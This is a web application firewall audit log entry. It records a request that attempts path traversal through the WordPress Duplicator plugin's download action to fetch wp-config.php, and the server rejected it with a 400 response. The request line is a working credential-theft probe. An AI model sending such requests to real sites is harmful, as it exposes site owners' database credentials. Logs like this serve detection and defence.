File: //var/lib/modsecurity/audit/20251230/20251230-2008/20251230-200815-aVR3f7henDUAAENzM2oAAABS
--d50c7d2d-A--
[30/Dec/2025:20:08:15 --0500] aVR3f7henDUAAENzM2oAAABS 102.89.82.107 36628 127.0.0.124 80
--d50c7d2d-B--
GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php HTTP/1.1
X-Real-IP: 102.89.82.107
Host: www.freespears.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
--d50c7d2d-F--
HTTP/1.1 400 Bad Request
X-Powered-By: PHP/5.3.29
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 3
Connection: close
Content-Type: text/html; charset=UTF-8
--d50c7d2d-E--
--d50c7d2d-H--
Stopwatch: 1767143295088415 227617 (- - -)
Stopwatch2: 1767143295088415 227617; combined=135, p1=51, p2=74, p3=9, p4=0, p5=1, sr=34, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"
--d50c7d2d-Z--